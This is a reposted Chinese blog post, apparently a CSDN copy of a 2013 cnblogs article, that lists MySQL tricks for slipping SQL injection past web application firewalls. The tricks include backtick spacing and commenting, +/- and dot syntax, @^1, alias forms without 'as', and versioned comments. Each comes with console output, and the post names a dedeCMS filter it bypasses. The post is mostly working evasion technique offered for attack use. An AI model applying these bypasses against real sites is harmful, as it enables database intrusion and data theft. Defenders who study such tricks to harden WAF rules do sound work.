过国内外的waf的一些奇淫绝技<转>

最新推荐文章于 2023-03-17 10:37:40 发布

转载最新推荐文章于 2023-03-17 10:37:40 发布 · 303 阅读

0 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/demonspider/archive/2013/06/01/3113290.html

本文分享了几个针对MySQL的WAF(Web应用防火墙)绕过技巧，包括使用特殊字符和语法来规避常见的过滤规则，例如利用`控制符进行表名格式输出、-+符号的巧妙运用等。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

作者：livers
研究过国内外的waf。分享一些奇淫绝技。
一些大家都了解的技巧如：/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。
Mysql

tips1: 神奇的 ` (格式输出表的那个控制符)

过空格和一些正则。

mysql> select`version`();
+----------------------+
|
`version`()
|
+----------------------+
|
5.1.50-community-log |
+----------------------+
1 row in set
(0.00 sec)

一个更好玩的技巧，这个`控制符可以当注释符用（限定条件）。
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
|
1
|
+----+
1 row in set
(0.00 sec)

usage : where id =’0′`’xxxxcomment on.

tips2:神奇的- + .

mysql> select id from qs_admins;
+----+
| id |
+----+
|
1
|
+----+
1 row in set
(0.00 sec)   mysql> select+id-1+1.from qs_admins;
+----------+
|
+id-1+1.
|
+----------+
|
1
|
+----------+
1 row in set
(0.00 sec)   mysql> select-id-1+3.from qs_admins;
+----------+
|
-id-1+3.
|
+----------+
|
1
|
+----------+
1 row in set
(0.00 sec)
（有些人不是一直在说关键字怎么过？过滤一个from …    就是这样连起来过）

tips3: @

mysql> select@^1.from qs_admins;
+------|+
|
@^1.
|
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.

tips4：mysql function() as xxx 也可以不用as 和空格

mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
|
-1
|
+------|+
1 row in set
(0.00 sec)
tips5:/*![>5000]*/ 新构造版本号（这个可能有些过时了。）
mysql>
/\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
|
1
|
+----+
1 row in set
(0.00 sec)
先分享这么多，哈。
作者：livers

转载于:https://www.cnblogs.com/demonspider/archive/2013/06/01/3113290.html